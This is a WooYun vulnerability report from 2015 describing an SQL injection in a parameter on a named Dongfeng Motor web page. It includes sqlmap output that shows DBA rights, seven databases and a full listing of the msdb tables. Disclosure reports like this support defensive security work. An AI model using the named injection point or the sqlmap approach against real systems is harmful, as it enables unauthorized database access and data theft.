当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138196

漏洞标题:东风汽车某站SQL注入之二

相关厂商:dfyb.com

漏洞作者: Xmyth_夏洛克

提交时间:2015-08-31 17:55

修复时间:2015-09-05 17:56

公开时间:2015-09-05 17:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

233333

详细说明:

存在注入url:
http://www.dfcv.com.cn/ModelPages/Company/Board.aspx?type=JS
参数type存在注入

漏洞证明:

放入SQLMAP跑

DBA权限.png


为DBA权限

7个库.jpg


涉及7个数据库
随便跑个表
Database: msdb
[219 tables]
+-----------------------------------------------------------+
| MSdatatype_mappings |
| MSdbms |
| MSdbms_datatype |
| MSdbms_datatype_mapping |
| MSdbms_map |
| backupfile |
| backupfilegroup |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_monitor_alert |
| log_shipping_monitor_error_detail |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary |
| log_shipping_monitor_secondary |
| log_shipping_primaries |
| log_shipping_primary_databases |
| log_shipping_primary_secondaries |
| log_shipping_secondaries |
| log_shipping_secondary |
| log_shipping_secondary_databases |
| logmarkhistory |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| suspect_pages |
| sysalerts |
| syscachedcredentials |
| syscategories |
| syscollector_blobs_internal |
| syscollector_collection_items |
| syscollector_collection_items_internal |
| syscollector_collection_sets |
| syscollector_collection_sets_internal |
| syscollector_collector_types |
| syscollector_collector_types_internal |
| syscollector_config_store |
| syscollector_config_store_internal |
| syscollector_execution_log |
| syscollector_execution_log_full |
| syscollector_execution_log_internal |
| syscollector_execution_stats |
| syscollector_execution_stats_internal |
| syscollector_tsql_query_collector |
| sysdac_history_internal |
| sysdac_instances |
| sysdac_instances_internal |
| sysdatatypemappings |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobactivity |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysjobstepslogs |
| sysmail_account |
| sysmail_allitems |
| sysmail_attachments |
| sysmail_attachments_transfer |
| sysmail_configuration |
| sysmail_event_log |
| sysmail_faileditems |
| sysmail_log |
| sysmail_mailattachments |
| sysmail_mailitems |
| sysmail_principalprofile |
| sysmail_profile |
| sysmail_profileaccount |
| sysmail_query_transfer |
| sysmail_send_retries |
| sysmail_sentitems |
| sysmail_server |
| sysmail_servertype |
| sysmail_unsentitems |
| sysmaintplan_log |
| sysmaintplan_logdetail |
| sysmaintplan_plans |
| sysmaintplan_subplans |
| sysmanagement_shared_registered_servers |
| sysmanagement_shared_registered_servers_internal |
| sysmanagement_shared_server_groups |
| sysmanagement_shared_server_groups_internal |
| sysnotifications |
| sysoperators |
| sysoriginatingservers |
| sysoriginatingservers_view |
| syspolicy_conditions |
| syspolicy_conditions_internal |
| syspolicy_configuration |
| syspolicy_configuration_internal |
| syspolicy_execution_internal |
| syspolicy_facet_events |
| syspolicy_management_facets |
| syspolicy_object_sets |
| syspolicy_object_sets_internal |
| syspolicy_policies |
| syspolicy_policies_internal |
| syspolicy_policy_categories |
| syspolicy_policy_categories_internal |
| syspolicy_policy_category_subscriptions |
| syspolicy_policy_category_subscriptions_internal |
| syspolicy_policy_execution_history |
| syspolicy_policy_execution_history_details |
| syspolicy_policy_execution_history_details_internal |
| syspolicy_policy_execution_history_internal |
| syspolicy_system_health_state |
| syspolicy_system_health_state_internal |
| syspolicy_target_set_levels |
| syspolicy_target_set_levels_internal |
| syspolicy_target_sets |
| syspolicy_target_sets_internal |
| sysproxies |
| sysproxylogin |
| sysproxyloginsubsystem_view |
| sysproxysubsystem |
| sysschedules |
| sysschedules_localserver_view |
| syssessions |
| sysssislog |
| sysssispackagefolders |
| sysssispackages |
| syssubsystems |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systargetservers_view |
| systaskids |
| sysutility_mi_configuration |
| sysutility_mi_configuration_internal |
| sysutility_mi_cpu_stage_internal |
| sysutility_mi_dac_execution_statistics_internal |
| sysutility_mi_session_statistics_internal |
| sysutility_mi_smo_objects_to_collect_internal |
| sysutility_mi_smo_properties_to_collect_internal |
| sysutility_mi_smo_stage_internal |
| sysutility_mi_volumes_stage_internal |
| sysutility_ucp_aggregated_dac_health |
| sysutility_ucp_aggregated_dac_health_internal |
| sysutility_ucp_aggregated_mi_health |
| sysutility_ucp_aggregated_mi_health_internal |
| sysutility_ucp_computer_cpu_health |
| sysutility_ucp_computer_cpu_health_internal |
| sysutility_ucp_computer_cpu_utilization |
| sysutility_ucp_computer_cpu_utilizations |
| sysutility_ucp_computer_policies |
| sysutility_ucp_computers |
| sysutility_ucp_computers_stub |
| sysutility_ucp_configuration |
| sysutility_ucp_configuration_internal |
| sysutility_ucp_cpu_utilization_stub |
| sysutility_ucp_dac_cpu_utilization |
| sysutility_ucp_dac_cpu_utilizations |
| sysutility_ucp_dac_database_file_space_health |
| sysutility_ucp_dac_database_file_space_utilizations |
| sysutility_ucp_dac_file_space_health_internal |
| sysutility_ucp_dac_health |
| sysutility_ucp_dac_health_internal |
| sysutility_ucp_dac_policies |
| sysutility_ucp_dac_policy_type |
| sysutility_ucp_dac_volume_space_utilizations |
| sysutility_ucp_dacs_stub |
| sysutility_ucp_database_files |
| sysutility_ucp_databases |
| sysutility_ucp_databases_stub |
| sysutility_ucp_datafiles |
| sysutility_ucp_datafiles_stub |
| sysutility_ucp_deployed_dacs |
| sysutility_ucp_filegroups |
| sysutility_ucp_filegroups_stub |
| sysutility_ucp_filegroups_with_policy_violations_internal |
| sysutility_ucp_health_policies_internal |
| sysutility_ucp_instance_cpu_utilization |
| sysutility_ucp_instance_policies |
| sysutility_ucp_instance_policy_type |
| sysutility_ucp_instances |
| sysutility_ucp_logfiles |
| sysutility_ucp_logfiles_stub |
| sysutility_ucp_managed_instances |
| sysutility_ucp_managed_instances_internal |
| sysutility_ucp_mi_cpu_utilizations |
| sysutility_ucp_mi_database_file_space_utilizations |
| sysutility_ucp_mi_database_health |
| sysutility_ucp_mi_database_health_internal |
| sysutility_ucp_mi_file_space_health |
| sysutility_ucp_mi_file_space_health_internal |
| sysutility_ucp_mi_health |
| sysutility_ucp_mi_health_internal |
| sysutility_ucp_mi_volume_space_health |
| sysutility_ucp_mi_volume_space_health_internal |
| sysutility_ucp_mi_volume_space_utilizations |
| sysutility_ucp_policies |
| sysutility_ucp_policy_check_conditions |
| sysutility_ucp_policy_check_conditions_internal |
| sysutility_ucp_policy_configuration |
| sysutility_ucp_policy_target_conditions |
| sysutility_ucp_policy_target_conditions_internal |
| sysutility_ucp_policy_violations |
| sysutility_ucp_policy_violations_internal |
| sysutility_ucp_processing_state_internal |
| sysutility_ucp_smo_servers_stub |
| sysutility_ucp_snapshot_partitions_internal |
| sysutility_ucp_space_utilization_stub |
| sysutility_ucp_supported_object_types_internal |
| sysutility_ucp_utility_space_utilization |
| sysutility_ucp_volume_powershell_path |
| sysutility_ucp_volumes |
| sysutility_ucp_volumes_stub |
+-----------------------------------------------------------+
涉及219个表

修复方案:

过滤

版权声明:转载请注明来源 Xmyth_夏洛克@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-05 17:56

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无